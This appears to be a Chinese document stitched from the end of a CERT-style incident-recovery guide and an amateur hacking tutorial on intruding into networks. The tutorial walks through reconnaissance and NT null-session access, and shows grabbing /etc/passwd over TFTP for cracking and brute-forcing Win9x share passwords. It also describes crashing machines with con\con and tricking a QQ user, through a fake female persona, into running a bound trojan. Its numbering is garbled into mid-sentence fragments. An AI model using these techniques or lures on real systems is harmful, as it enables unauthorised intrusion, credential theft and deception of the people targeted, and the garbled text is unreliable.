-- TCP/IP LOG -- TM: Tue Nov 15 15:12:29 --
PATH: not_at_risk.domain.com(1567) => at_risk.domain.com(telnet)

使用如下命令可以从嗅探器程序的日志文件中得到受到威胁的主机列表：

% grep PATH: $sniffer_log_file | awk '{print $4}' |
awk -F( '{print $1}'| sort -u

你可能需要根据实际情况对这个命令进行一些调整。一些嗅探器程序会给日志文件加密，增加了检查的困难。

你应该知道不只是在嗅探器程序日志文件中出现的主机受到攻击者的威胁，其它的主机也可能受到威胁。

建议你参考http://www.cert.org/advisories/CA-94.01.ongoing.network.monitoring.attacks.html获得更为详细的信息。

6.检查网络上的其它系统

除了已知被侵入的系统外，你还应该对网络上所有的系统进行检查。主要检查和被侵入主机共享网络服务(例如:NIX、NFS)或者通过一些机制(例如：hosts.equiv、.rhosts文件，或者kerberos服务器)和被侵入主机相互信任的系统。

建议你使用CERT的入侵检测检查列表进行这一步检查工作。

http://www.cert.org/tech_tips/intruder_detection_checklist.html
http://www.cert.org/tech_tips/win_intruder_detection_checklist.html

7.检查涉及到的或者受到威胁的远程站点

在审查日志文件、入侵程序的输出文件和系统被侵入以来被修改的和新建立的文件时，要注意哪些站点可能会连接到被侵入的系统。根据经验那些连接到被侵入主机的站点，通常已经被侵入了。所以要尽快找出其它可能遭到入侵的系统，通知其管理人员。 D.通知相关的CSIRT和其它被涉及的站点

1.事故报告

入侵者通常会使用被侵入的帐户或者主机发动对其它站点的攻击。如果你发现针对其它站点的入侵活动，建议你马上和这些站点联络。告诉他们你发现的入侵征兆，建议他们检查自己的系统是否被侵入，以及如何防护。要尽可能告诉他们所有的细节，包括：日期/时间戳、时区，以及他们需要的信息。

你还可以向CERT(计算机紧急反应组)提交事故报告，从他们那里的到一些恢复建议。

中国大陆地区的网址是:

http://www.cert.org.cn

2.与CERT调节中心(CERT Coordination Center)联系

你还可以填写一份事故报告表，使用电子邮件发送到http://www.cert.org,从那里可以得到更多帮助。CERT会根据事故报告表对攻击趋势进行分析，将分析结果总结到他们的安全建议和安全总结，从而防止攻击的蔓延。可以从以下网址获得事故报告表：

http://www.cert.org/ftp/incident_reporting_form

3.获得受牵连站点的联系信息

如果你需要获得顶级域名(.com、.edu、.net、.org等)的联系信息，建议你使用interNIC的whois数据库。

http://rs.internic.net/whois.html

如果你想要获得登记者的确切信息，请使用interNIC的登记者目录：

http://rs.internic.net/origin.html

想获得亚太地区和澳洲的联系信息，请查询：

http://www.apnic.net/apnic-bin/whois.pl

http://www.aunic.net/cgi-bin/whois.aunic

如果你需要其它事故反应组的联系信息，请查阅FIRST(Forum of Incident Response and Security Teams)的联系列表:

http://www.first.org/team-info/

要获得其它的联系信息，请参考：

http://www.cert.org/tech_tips/finding_site_contacts.html

建议你和卷入入侵活动的主机联系时，不要发信给root或者postmaster。因为一旦这些主机已经被侵入，入侵者就可能获得了超级用户的权限，就可能读到或者拦截送到的e-mail。

E.恢复系统

1.安装干净的操作系统版本

一定要记住如果主机被侵入，系统中的任何东西都可能被攻击者修改过了，包括：内核、二进制可执行文件、数据文件、正在运行的进程以及内存。通常，需要从发布介质上重装操作系统，然后在重新连接到网络上之前，安装所有的安全补丁，只有这样才会使系统不受后门和攻击者的影响。只是找出并修补被攻击者利用的安全缺陷是不够的。

我们建议你使用干净的备份程序备份整个系统。然后重装系统。

2.取消不必要的服务

只配置系统要提供的服务，取消那些没有必要的服务。检查并确信其配置文件没有脆弱性以及该服务是否可靠。通常，最保守的策略是取消所有的服务，只启动你需要的服务。

3.安装供应商提供的所有补丁

我们强烈建议你安装了所有的安全补丁，要使你的系统能够抵御外来攻击，不被再次侵入，这是最重要的一步。

你应该关注所有针对自己系统的升级和补丁信息。

4.查阅CERT的安全建议、安全总结和供应商的安全提示

我们鼓励你查阅CERT以前的安全建议和总结，以及供应商的安全提示，一定要安装所有的安全补丁。

CERT安全建议：

http://www.cert.org/advisories/

CERT安全总结：

http://www.cert.org/advisories/

供应商安全提示：

ftp://ftp.cert.org/pub/cert_bulletins/

5.谨慎使用备份数据

在从备份中恢复数据时，要确信备份主机没有被侵入。一定要记住，恢复过程可能会重新带来安全缺陷，被入侵者利用。如果你只是恢复用户的home目录以及数据文件，请记住文件中可能藏有特洛伊木马程序。你还要注意用户起始目录下的.rhost文件。

6.改变密码

在弥补了安全漏洞或者解决了配置问题以后，建议你改变系统中所有帐户的密码。一定要确信所有帐户的密码都不容易被猜到。你可能需要使用供应商提供的或者第三方的工具加强密码的安全。

澳大利亚CERT发表了一篇choosing good passwords的文章，可以帮助你选择良好的密码。

F.加强系统和网络的安全

1.根据CERT的UNIX/NT配置指南检查系统的安全性

CERT的UNIX/NT配置指南可以帮助你检查系统中容易被入侵者利用的配置问题。

http://www.cert.org/tech_tips/unix_configuration_guidelines.html

http://www.cert.org/tech_tips/win_configuration_guidelines.html

查阅安全工具文档

可以参考以下文章，决定使用的安全工具。

http://www.cert.org/tech_tips/security_tools.html

3.安装安全工具

在将系统连接到网络上之前，一定要安装所有选择的安全工具。同时，最好使用Tripwire、aide等工具对系统文件进行MD5校验，把校验码放到安全的地方，以便以后对系统进行检查。

4.打开日志

启动日志(logging)/检查(auditing)/记帐(accounting)程序,将它们设置到准确的级别,例如sendmail日志应该是9级或者更高。经常备份你的日志文件，或者将日志写到另外的机器、一个只能增加的文件系统或者一个安全的日志主机。

5.配置防火墙对网络进行防御

现在有关防火墙的配置文章很多，在此就不一一列举了。你也可以参考：

http://www.cert.org/tech_tips/packet_filtering.html

G.重新连接到Internet

完成以上步骤以后，你就可以把系统连接回Internet了。

H.升级你的安全策略

CERT调节中心建议每个站点都要有自己的计算机安全策略。每个组织都有自己特殊的文化和安全需求，因此需要根据自己的情况指定安全策略。关于这一点请参考RFC2196站点安全手册:

ftp://ftp.isi.edu/in-notes/rfc2196.txt

1.总结教训

从记录中总结出对于这起事故的教训，这有助于你检讨自己的安全策略。

2.计算事故的代价

许多组织只有在付出了很大代价以后才会改进自己的安全策略。计算事故的代价有助于让你的组织认识到安全的重要性。而且可以让管理者认识到安全有多么重要。 3.改进你的安全策略

最后一步是对你的安全策略进行修改。所做的修改要让组织内的所有成员都知道，还要让他们知道对他们的影响。


系统网络入侵方法小结

郑重声明：本文主要结合一些书籍和网络上的一些相关文章加上我个人的一些经验知识写成，未经本人许可，严禁作为商业用途，否则追究法律责任！
一旦有人提起“黑客”两个字，就会有大部分的人觉得很神秘。确实，对于许多像我们一样的年轻人都希望自己是很进入很多重要机构的超级黑客，不过黑客都需要很深入的学习编程技术，不管是哪种，只要学习精通了，就可以作为一个黑客的基础了。当然，本文主要探讨的不是编程，而是如何学习网络安全方面的技术。
根据我个人的了解，现在国内的绝大部分红客都是依靠自己了解的一些漏洞或其他一些方面的知识进入主机达到黑站点的目的，其实我觉得这样的态度错误了。我不赞成黑站点，我希望的是拿“进入主机”的目标作为自己学习的动力。可是现在网络上真正比较全面的讲解网络安全方面的知识也不太系统，由于我看了一些相关的书，觉得有一些讲解的比较系统，我现在把它总结出来供大家学习时候参考。
首先，要掌握网络安全技术，必需要掌握网络技术（我也没有怎么掌握），至少应该知道网络和TCP/IP协议的一些基本的知识、了解防火墙的结构与原理、了解加密技术、能利用数字签名证实消息源、掌握超文本传输协议及安全超文本传输协议、懂得利用SSL（Secure Socker Layer，安全套接层）安全的传递信息、鉴别和防御黑客入侵、JAVA/CGI的安全性能、预防病毒等等。这些都是比较高级的技术，我对此也不是十分了解，也希望以后能更各位朋友多多学习、探讨，把我们的网络加固的更加安全。现在我把我的一些关于入侵的思维结合一本书的内容些给大家，希望对大家在网络安全方面上有更深一层的了解，同时也为了促进我自身的提高：
第一章：网络踩点
网络踩点就是通过结合使用工具和技巧，攻击者能够由一个未知量规约出域名、网络块以及直接连接到互联网上的系统的个别IP地址的一个特定范围的方法。
对于一个真正的黑客，如果想进入一个主机，他会不择手段的探索这个主机的信息，而不是局限于现在大多数入侵者扫描主机得到主机信息之上。他会从各方面分析该主机的情况，比如主机地理位置可能使用的操作系统、根据主机的重要程度推测管理员的水平，然后推测可能会出现什么失误的网络配置，具体我总结出来有以下几个方面：
1、 仔细查看目标2、 机构的网页：真正希3、 望入侵这台主机，4、 就需要收集尽可能多的主机上机构的信息，5、 这其中可能有：
? 机构所在位置
? 与其关系亲密的公司或实体
? 公司兼并或归靠的新闻报道
? 电话号码
? 联系人姓名? 和电子邮件地址
? 指? 示所用安全机制的类型的隐私和机密保障策略
? 与其相关联的Web服? 务器超链接
关于这些方面的利用将在下面的各章节中利用，请勿必注意！
6、 阅读HTML源代码：这一点在很多入侵者忽略了，7、 其实是很重要的，8、 可以了解整个主页真正在你的计算机上能做到什么东西。真正一个好的主页，9、 为了方便其他网页编程员更方便的读懂网页，同10、 时也加了很多注释。比如说现在流行的万11、 花谷网页病毒，12、 它主要通过修改注册表达到破坏的目的，13、 为了尽快的恢复14、 回来，15、 你就可以研究它本身的源代码，16、 摸着石头过河，17、 把一些内容修改回来。说到注释问题，18、 一般注释都在“<!-->”之间，19、 可能存放的信息是私用电子邮件地址，20、 电话号码等，21、 这在以后的拨号攻击中相当重要。
22、 搜索公开信息源找出与目标23、 机构关联的信息：了解与机构相连接的主机也是很重要的一个方面，24、 由于各个主机之间的权限不同，25、 但是未必同26、 一个机构的各个主机具有相同27、 的安全性，28、 你就可以通过先得到一个安全性较差主机的权限，29、 再利用它作为跳板，30、 到达进入主机的目的。凯文·米特尼克就曾经用这样的方法成功入侵过！
31、 阅读机构工作人员的技术水平：如果能从多方面了解管理员的技术水平也是成功进入主机的关键，32、 尽可能看这个管理员张贴的文章，33、 你就可以了解管理员熟悉什么、不34、 熟悉什么，35、 由此可能会出现什么错误的配置，36、 这在入侵时打好了基础，37、 至少你能大体知道进入主机后是否有必要删除日志文件等。
38、 机构本身的查询：一旦标39、 识出一个特定的机构或实体，40、 就可以进行InterNIC数据库查询了，41、 这样能发现与之类似的域名，42、 找到真正的网络，43、 直到发现一个真正工作着的网络为止。下面我们以Acme Networks（极点网络公司）一个例子说明这点，44、 在某个UNIX或LINUX的SHELL下执行查询：
[japleak@root]$ whois “Acme Networks”
[rs.internic.net]
Acme Networks (NAUTILUS-AZ-DOM) NAUTILUS-NJ.COM
Acme Networks (WINDOWS4-DOM) WINDOWS.NET
Acme Networks (BURNER-DOM) BURNET.COM
Acme Networks (ACME2-DOM) ACME.NET
Acme Networks (Y2MAN-DOM) Y2MAN.COM
……
看见了吧？与此相关联的域名有很多，现在就要发现那个是真正的网络，哪个是真正工作着的网络呢？这就要从中实践，总不可能你去寻找一个不存在的网络吧？
45、 机构域名46、 查询：作为一个机构要上互联网就必须去登记，47、 所以登记的地方就必然有它的一些资料，48、 建议去http://www.nic.com/进行查询，49、 为了方便说明，50、 这里同51、 样也用shell查询：
[japleak@root]$ whois Acme.net
[rs.internic.net]
Registrant:
Acme Networks (ACME2-DOM)
11 Town Center Ave.
Einstein,AZ 21098
Domain Name:ACME.NET
Administrative Contact,Technical Contact,Zone Contact:
Boyd,Woody [Networks Engineer] (WB9201) woody@ACME.NET
201-555-9011 (201)555-3338 (FAX)201-555-1212
Record last updated on 13-Sep-95
Record created on 13-May-95
Database last update on 04-Mar-02 23:20:14 EDT
Domain servers in listed order:
DNS.ACME.NET 10.10.10.1
DNS2.ACME.NET 10.10.10.2
上面的E文我就不用解释了吧？通过这样查询就可以的到如下信息：
? 注册人
? 域名?
? 管理方面联系人
? 记录创建时间和更新时间
? 域名? 系统（DNS）服? 务器
52、 网络勘查：既然已经标53、 识了已知的网络，54、 就需要对网络内部进行一定的勘查，55、 看看网络
速度、是否存在防火墙等等，下面我们还是用常用的WINDOWS下的tracert追踪路由，查看整个网络的拓扑：
C:\>tracert Acme.net
Tracert to Acme.net (10.10.10.1),30 hops max,40byte packets
1 gate2 (192.168.10.1) 5.391ms 5.107ms 5.559ms
2 rtr1.bigisp.net (10.10.12.13) 33.374ms 33.443ms 33.137ms
3 rtr2.bigisp.net (10.10.12.14) 35.100ms 34.427ms 34.813ms
4 hssitrt.bigisp.net (10.11.31.14) 43.030ms 43.941ms 43.244ms
5 gate.Acme.net (10.10.10.1) 43.803ms 44.041ms 47.835ms
由上可以看见本地到主机需要经过5跳，中间没有UDP分组的丢失，因此可以看出第四跳很可能是主机Acme.net的路由设备，这样可以对整个网络之间有一个大体的了解。
如果存在防火墙又怎么知道呢？下面还是用一个例子说明吧：
C:\>tracert 10.10.10.2
Tracert to (10.10.10.2),30 hops max,40byte packets
1 gate2 (192.168.10.1) 5.391ms 5.107ms 5.559ms
2 rtr1.bigisp.net (10.10.12.13) 33.374ms 33.443ms 33.137ms
3 rtr2.bigisp.net (10.10.12.14) 35.100ms 34.427ms 34.813ms
4 hssitrt.bigisp.net (10.11.31.14) 43.030ms 43.941ms 43.244ms
5 * * *
6 * * *
可以看出，缺省的UDP分组被防火墙拦截了。可能此时有人会说ping也可以做到这一点，如果出现超时(Request Time Out)提示，也是因为防火墙的原因，不过我要说：不能确定！因为ping发送的是一个ICMP分组，可以通过主机的响应判断网络状况，如果安装了防火墙，可以过滤掉ICMP分组。不过，如果对方是WINDOWS系统，也可以很方便的修改注册表来过滤掉ICMP分组，让攻击者误认为是存在防火墙！其实修改注册表的方法也是避免DoS（拒绝服务攻击）的一种有效方法。
第二章：扫描
1、 网络PING查询：要映射出真正的网络是否存在，2、 就需要对网络是否工作着一定了解。传统意义上，3、 PING用于向某个目标4、 系统发送ICMP回射请求（echo request）分组（ICMP类型为8），5、 并期待由此改发的表明目标6、 系统存活着的ICMP回射应答（echo reply）分组（ICMP类型为0）。不7、 过用这样的方法在整个网络中扫描的时间太长，8、 这里推荐使用UNIX下的fping和gping，9、 两者可以联系运用，10、 达到探测网络是否存活的目的。
[japleak@root]$gping 192.168.0.1 254
192.168.0.1
192.168.0.2
192.168.0.3
……
192.168.0.253
192.168.0.254
192.168.0.255
这样我们就得到网络上潜在的所有IP地址构成的列表后，我们就可以尝试探测那些系统存活着了。
[japleak@root]$gping 192.168.0.1 254|fping -a
192.168.0.254 is alive
192.168.0.224 is alive
192.168.0.228 is alive
……
192.168.0.3 is alive
192.168.0.2 is alive
192.168.0.4 is alive
192.168.0.1 is alive
11、 端口扫描：端口扫描就是连接到目标12、 系统的TCP和UDP端口上，13、 确定哪些服14、 务正在运行即处于监听状态过程。通过扫描我们希15、 望达到以下的目的：
? 标? 识运行在目标? 系统上的TCP服? 务和UDP服? 务
? 标? 识目标? 系统的操作系统类型
? 标? 识特定的应用或特定服? 务的版本
? 标? 识目标? 系统存在的漏洞或缺陷
TCP连接一般分为三路握手过程：（1）客户机发送一个SYN分组给服务器；（2）服务器接受分组后，向客户机发送一个SYN/ACK分组，表示服务器接受这个连接；（3）最后客户机再发出一个ACK分组进行通信。
在扫描器中，国内用的最多的莫过于小榕的流光，因此这里我就不用在介绍了，具体用法可以参考流光的使用说明。现在我们就针对国外经久不衰的一个扫描器NAMP进行讨论。
由Fyodor编写的nmap提供了基本的TCP和UDP扫描的能力，集成了多种扫描器的技巧，很少以单个软件包提供如此之多用处的工具。下面介绍它的一些特写下说明：
[japleak@root]$ nmap -h
nmap v.2.12 usage;namp [Scan Type(s)] [Options] <host or net # 1 …[# N]>Scan types
-sT tcp connect () port scan -sS tcp SYN stealth port scan (must be root) -sF,-sX,-sN Stealth FIN,Xmas,or Null scan (only works against UNIX).-sP ping “scan”.Find which hosts on specified network(s) are up but don’t port scan them -sU UDP port scan,must be root -b <ftp_relay_host> ftp “bounce attack” port scan Options (none are required,most can be combined):
-f use tiny fragmentd packets for SYN,FIN,Xmas,or NULL scan.
-P0 Don’t ping hosts(needed to scan www.microsoft.com and others)
-PT Use “TCP Ping”to see what hosts are up (for normal and ping scans).-PT21 Use “TCP Ping”scan with probe destination port of 21 (or whatever).-PI Use ICMP ping packer to determianes hosts that are up -PB Do BOTH TCP&ICMP scans in parallel (TCP dest port can be specified after the ‘B’) -PS Use TCP SYN sweep rather than the default ACK sweep used in “TCP Ping” -O Use TCP/IP fingerprinting to guess what OS the remote host is running -P <range> ports:
ex:’-p 23’ will only try port 23 of the host(s) ‘-p 20-30,63000-’ scan 20-30 and 63000-65535.default:1-1024 +ect/services
-Ddecoy_host1,decoy2,ME,decoy3 [,…]Launch scans from decoy host(s) along with the real one.If you care about the order your real IP appears,stick “ME” somewhere in the list.Even if the target detects the scan,they are unlikely to know whick IP is scaning them and which are decoys.
-F fast scan.Only scans ports in /etc/services,a la strobe(1).-l Get idented (RFC 1413) info on listening TCP procsses.-n Don’t DNS resolve anything unless we have to (makes ping scan faster) -R Try to resolve all hosts,even down ones (can take a lot of time) -o <logfile> Output scan logs to <logfile> in human readable.-m <logfile>Output scan logs to <logfile> in machine parseable format.-i<inputfile> Grab IP numbers or hostnames from file.Use ‘-’ for stdin
-g <portnumber> Sets the source port used for scans.20 and 53 are good choices.-S <your_IP> If you want to specify the source address of SYN of FYN scan.-v Verbose.Its use is recommended.Use twice for greater effect.-h help,print this junk.Also see http://www.insecure.org/nmap/ -V Print version number and exit.-e <devicename>.Send packets on interface <devicename> (eth0,ppp0,etc.).-q quash argv to something benign,currently set to “pine”.(deprecated)
Hostnames specified as internet hostname or IP address,Optional ‘/mask’ specifiles subnet,For example:cert.org /24 or 192.88.209.5/24 or 192.88.209.0-255 or ‘128.88.209.*’ all scan CERT’s Class C.
看过标准的TCP端口扫描结果了，现面我们用隐身扫描SYN方法扫描。SYN扫描并不建立到目标系统的完整连接，因此被目标系统检测到的机会比较小。
[japleak@root]$nmap -sS 192.168.1.1
Starting nmap v.2.12 by Fyodor (fyodor@dhp.com ,www.insecure.org/nmap/)
Interesting ports on (192.168.1.1)
Port State Protocol Service
21 open tcp ftp
25 open tcp smtp
42 open tcp nameserver
53 open tcp domain
79 open tcp finger
80 open tcp http
81 open tcp hosts2-ns
106 open tcp pop3pw
110 open tcp pop-3
135 open tcp loc-srv
139 open tcp netbios-ssn
443 open tcp https
这样就可以看见主机开放了哪些端口，端口所用的协议，服务类型等，具体使用，清参考上面的帮助。
这里有一个技巧：当139号和135号端口打开时，目标操作系统是Windows NT/2000的可能性很大。Windwos NT/2000通常同时监听135和139号端口，而Windows 9x一般只监听139端口。
第三章：查点
1、 indows NT/2000查点：Windows设计时为了方便资源的查询，2、 因此整个域和系统查点非常简单。Net view就是一个很说明问题的例子，3、 首先查点网络上的域：
C:\>net view /domain
Domain
----------------------------------------
CORLEONE
BARZINI_DOMAIN
TATAGGLIA_DOMAIN
BARZZI
The command completed successfully.
接着列出某个特定域内的计算机；
C:\>net view /domain:corleone
Server Name Remark
-------------------------------------------------------
\\VITO Make him an offer he can’t refuse
\\MICHAEL Nothing personal
\\SONNY Badda bing badda boom
\\FREDO I’m smart
\\CONNIE Don’t forget the canoli
然后就开始查询NT域控制器，在NT/2000的安装光盘中有一个工具叫做nltest，主要是用来表示主域控制器和备份域控制器的：
C:\>nltest /dclist:corleone
List of DCs in Domain corleone
\\VITO (PDC)
\\MICHAEL
\\SONNY
The command completed successfully
我们就可以从上面的输出知道目标的主域控制器(Primary Domain Controller)为VITO。
微软在出Windows NT/2000中存在一个败笔，就是叫做“红色按钮”的脆弱点、空会话的连接，允许匿名登陆主机，这样无疑给攻击者提供了一个好的立足点：
net use \\192.168.202.33\IPC$ “”/user:””
这样建立了空会话后，我们就可以利用netbios共享中net view查看主机上存在的共享资源：
C:\>net view \\vito
Shared resources at \\192.168.7.45
VITO
Share name Type Used as Comment
----------------------------------------------------------------------------------------
NETLOGON Disk Logon server share
Test Disk Public access
The command completed successfully
因此这样就存在着暴露共享资源的危险，具体怎么利用，相信很多对网络安全知识有一定了解的朋友都知道怎么做。这里就顺便介绍一下利用139端口入侵的一些方法吧：
首先利用WINDOWS自带的工具nbtstat查出主机上的用户名
C:\>nbtstat -A 192.168.202.33
NetBios Remote Machine Name Table
Name Type Status
---------------------------------------------------------------------------
SANTINO <20>UNIQUE Registered
SANTINO <00>UNIQUE Registered
INTERNET <20>GROUP Registered
SANTINO <03>UNIQUE Registered
INTERNET <1E>GROUP Registered
SANTINO <20>UNIQUE Registered
ADMINISTRATOR <03>UNIQUE Registered
INTERNET <1D>UNIQUE Registered
..__MSBROWSE__.. <01>GROUP Registered
MAC Address=00-C0-4F-86-80-05
相信大家都看见第一行第一列的SANTINO了吧？这就是主机的名字，我们现在就要利用这个名字。在WINDOWS的系统目录下有一个Lmhosts.sam有以下内容：
# Copyright (c) 1998 Microsoft Corp.
#
# This is a sample LMHOSTS file used by the Microsoft Wins Client (NetBios
# over TCP/IP) stack for Windows98
#
# This file contains the mappings of IP addresses to NT computernames
# (NetBIOS) names. Each entry should be kept on an individual line.
# The IP address should be placed in the first column followed by the
# corresponding computername. The address and the comptername
# should be separated by at least one space or tab. The "#" character
# is generally used to denote the start of a comment (see the exceptions
# below).
#
# This file is compatible with Microsoft LAN Manager 2.x TCP/IP lmhosts
# files and offers the following extensions:
#
# #PRE
# #DOM:<domain>
# #INCLUDE <filename>
# #BEGIN_ALTERNATE
# #END_ALTERNATE
# \0xnn (non-printing character support)
#
# Following any entry in the file with the characters "#PRE" will cause
# the entry to be preloaded into the name cache. By default, entries are
# not preloaded, but are parsed only after dynamic name resolution fails.
#
# Following an entry with the "#DOM:<domain>" tag will associate the
# entry with the domain specified by <domain>. This affects how the
# browser and logon services behave in TCP/IP environments. To preload
# the host name associated with #DOM entry, it is necessary to also add a
# #PRE to the line. The <domain> is always preloaded although it will not
# be shown when the name cache is viewed.
#
# Specifying "#INCLUDE <filename>" will force the RFC NetBIOS (NBT)
# software to seek the specified <filename> and parse it as if it were
# local. <filename> is generally a UNC-based name, allowing a
# centralized lmhosts file to be maintained on a server.
# It is ALWAYS necessary to provide a mapping for the IP address of the
# server prior to the #INCLUDE. This mapping must use the #PRE directive.
# In addtion the share "public" in the example below must be in the
# LanManServer list of "NullSessionShares" in order for client machines to
# be able to read the lmhosts file successfully. This key is under
# \machine\system\currentcontrolset\services\lanmanserver\parameters\nullsessionshares
# in the registry. Simply add "public" to the list found there.
#
# The #BEGIN_ and #END_ALTERNATE keywords allow multiple #INCLUDE
# statements to be grouped together. Any single successful include
# will cause the group to succeed.
#
# Finally, non-printing characters can be embedded in mappings by
# first surrounding the NetBIOS name in quotations, then using the
# \0xnn notation to specify a hex value for a non-printing character.
#
# The following example illustrates all of these extensions:
#
# 102.54.94.97 rhino #PRE #DOM:networking #net group's DC
# 102.54.94.102 "appname \0x14" #special app server
# 102.54.94.123 popular #PRE #source server
# 102.54.94.117 localsrv #PRE #needed for the include
#
# #BEGIN_ALTERNATE
# #INCLUDE \\localsrv\public\lmhosts
# #INCLUDE \\rhino\public\lmhosts
# #END_ALTERNATE
#
# In the above example, the "appname" server contains a special
# character in its name, the "popular" and "localsrv" server names are
# preloaded, and the "rhino" server name is specified so it can be used
# to later #INCLUDE a centrally maintained lmhosts file if the "localsrv"
# system is unavailable.
#
# Note that the whole file is parsed including comments on each lookup,
# so keeping the number of comments to a minimum will improve performance.
# Therefore it is not advisable to simply add lmhosts file entries onto the
# end of this file.
这大体是对这个文件的描述，我们可以把内容删除掉，写入如下的格式：
192.168.202.33 SANTINO
注意：IP与SANTINO中间存在一个空格。保存，然后把名字改成Lmhosts，不要扩展名。最后你就可以在查找－计算机中输入机器名或者IP地址，就可以找到主机，双击就可以进入主机了。当然也可以用运行－\\ip的方法也一样。
4、 UNIX查点：大多数现代的UNIX实现依赖于TCP/IP连网特性，5、 因此不6、 会象通过其传统的NetBios接口联网的NT/2000那样随随便便的泄漏信息，7、 然而8、 这一点并不9、 能说UNIX可以免受查点技巧的侵害。
UNIX中有一个实用工具showmount，它在查点某个网络中经由NFS出口的文件系统上很有用。下面以一个例子说明：
[japleak@root]$showmount -e 192.168.202.34
export list for 192.168.202.34:
/pub (erveryone)
/var (erveryone)
/usr user
-e开关指示所指定NFS服务器主机的出口清单。不幸的是，几乎没有什么措施可以用来堵塞这个漏洞，因为NFS的缺省行为。
UNIX网络信息的另一个潜在来源是NIS。NIS的主要问题是，一旦知道某台服务器的NIS域名，就可以使用简单的RPC查询取得其NIS映射表中的任何内容。NIS映射表是同一域内各主机关键信息的分布式映射关系。
下面再讨论UNIX的一个实用工具finger，finger是自动获取远程主机上用户信息的简便方法。有不少系统管理员无意的让fingerd运行在不安全的缺省配置上。下面的例子假设上次已经标识出运行finger服务（端口号为79）的一台有效主机：
[japleak@root]$finger -l @targer.hackme.com
[target.hackme.com]
Login:root Name:root
Directory:/root Shell:/bin/bash
On since Sun Mar 28 11:01(PST) on tty1 11minutes idle
(messages off)
On since Sun Mar 28 11:01 (PST) on ttyp0 from :0.0
3 minutes 6 seconds idle
No mail.
Plan:
John Smith
Security Guru
Telnet password is my birthdate.
“finger 0@hostname”命令也会给出有用信息：
[japleak@root]$finger 0@192.168.202.34
[192.168.202.34]
Line User Host(S) ldle Location
* 2 vty 0 idle 0 192.168.202.14
Se0 Sync PPP 00:00:02
不过所有UNIX的查点技巧的先决条件是取得/etc/passwd文件，这里值得提及的是TFTP(简单文件传输协议)，它是最为流行的攫取passwd文件的一种方法：
[japleak@root]$tftp 192.168.202.34
tftp>connect 192.168.202.34
tftp>get /etc/passwd /tmp/passwd.cracklater
tftp>quit
这个文件除了能用一些破解软件破解，还能直接从文件中直接读取用户信息。
第四章：攻击Windows 95/98
据我所知，现在网上对于攻击Windows 9X这方面的文章也不太多，其主要是因为Windows 9X并没有提供太大的网络功能。很多入侵者往往是借助系统本身的命令达到入侵的目的，为了更好的研究9X系统，我希望把我的一些心得写出来供大家参考：
攻击者们“占有”一个Windows9X系统的方法只有两个：要么欺骗系统管理员执行他们期望的代码，要么物理上接触系统的控制台。然而这些方法都比较困难，因此很多朋友在论坛上询问怎么攻击Windows 9X系统，几乎就没有几个人回答上的原因了。
1、Windows 9X远程漏洞发掘：Windows 9X的远程漏洞发掘技巧可以分为四个基本类：（1）直接连接到某个共享资源；（2）安装后门服务程序（木马）；（3）发掘已知的服务器程序弱点；（4）拒绝服务（DoS）。
共享资源是Windows 9X的一个致命漏洞，文件和打印共享、可选的拨号服务器以及远程注册表操纵都是危及Windows 9X安全的方面。大家都知道基于Rhino 9小组的Legion就是一个寻找共享的工具，除了扫描一个IP地址范围以发现Windows共享资源外，还有一个蛮力破解器（Force Share），可以挂一个字典破解共享文件的密码。假设我们现在已经发现了192.168.202.34上一个共享文件夹MY_DOCUMENTS有一个含有密码的共享，我们就可以通过这个软件破解出来。在这个软件的Path栏输入：\\192.168.202.34\MY_DOCUMENTS指定破解共享密码的文件夹，然后在Word Lists点击Add按钮，选择密码文件（这里密码文件不需要太大，一般9X的共享密码很多人都设定比较短，加上本来设定共享的文件夹一般管理员的安全意识不高），最后点Start按钮，开始利用字典破解。
虽然如果只是一个只读共享，看似这样的你的系统问题也不很大，不过你的信息已经暴露给对方了。甚至有的还是全盘完全共享，由此你就可以进入这台主机，也可以通过他作为跳板进入此机所在局域网的其他主机。同时，为了找到其他合法用户，可以下载PWL文件，通过PWLVIEW一个软件很简单就可以看见对方的其他用户。当然对于喜欢木马的用户，也可以给他种一个木马。（不过本人不推荐完全依赖木马）还有一个危险就是很多人知道的无效的请求：\\192.168.202.34\MY_DOCUMENTS\con\con就会让对方蓝屏！
其次就是安装后门服务程序，传统我们成为木马程序。现在用的较多的木马程序有国产的冰河、蓝色火焰、广外女生等，国外的软件有Back Orifice、NetBus等。不过木马程序都必须让服务器端（受攻击端执行），现在面临的问题就是如何让对方执行，下面有两种方法：（1）缓冲区溢出：缓冲区溢出就是利用应用程序代码某个特定片断中内在的缺陷将随意的命令“溢出”到服务器的执行队列中。例如，技术高超的程序员就能够编写自己选定的代码（假如是冰河的服务器程序）推入执行它的处理器的堆栈中的应用程序。这个过程通常以隐秘的方式启动溢出的代码，几乎不可能检测到。现在已经有很多办法能做到这一点了，大家还记得有一篇文章叫做《让网页自动执行你的程序》吧？如果把这个程序改成冰河的服务程序？而且不光是网页能做到这一点，电子邮件也是很危险的，建议还是最好用WEB的方式接收邮件，尽量不要用软件接收邮件！（2）欺骗：我记得有一篇文章就是利用欺骗的方法控制了一台主机，具体谁写的一时给忘了。就是比如你用QQ聊天时候，把你的名字改成MM的拉，而且最好要动听，比如什么雪什么婷的，吸引你要黑的大GG上钩，而且还最好你加他，这样他会觉得你对他的名字有好感，加上你的名字动人，说不定就会……^_^，首先给他套近关系，最好打情骂俏一些，说说肉麻的话也可以。然后你说你最近有一个FLASH不知道怎么不能看，你说让他帮你看看。我想这样一定有98％的GG都会具有很绅士的风度的，你就通过传输文件给他把你的服务端程序发送过去，当然以后的事情就不用说了把？其实这个方法可以用一些程序绑定软件，或者作一个批处理，把批处理的图标改成一个图象或者什么的，让他看见MM的照片的同时，也执行了你的代码。
对于已知的服务器程序弱点可能就没有上面的方法用的多了，应该说9X系统还是一个很安全的系统的，不过最好不要在9X的机器上运行服务器软件，除非你确定他们是安全的。Microsoft的Personal Web Server软件就存在这样一个危险，可以参考改漏洞的描述（http://www.microsoft.com/security/bulletins/ms99-010.asp）。另外Frontpage的扩展服务也存在这样的一个漏洞。
最后是最后到无奈时候的黑客常用的方法：拒绝服务。通过发送病态的网络分组，导致Windows 9X系统崩溃的程序非常只多。比如：ping of death、teardrop、land和WinNuke等。
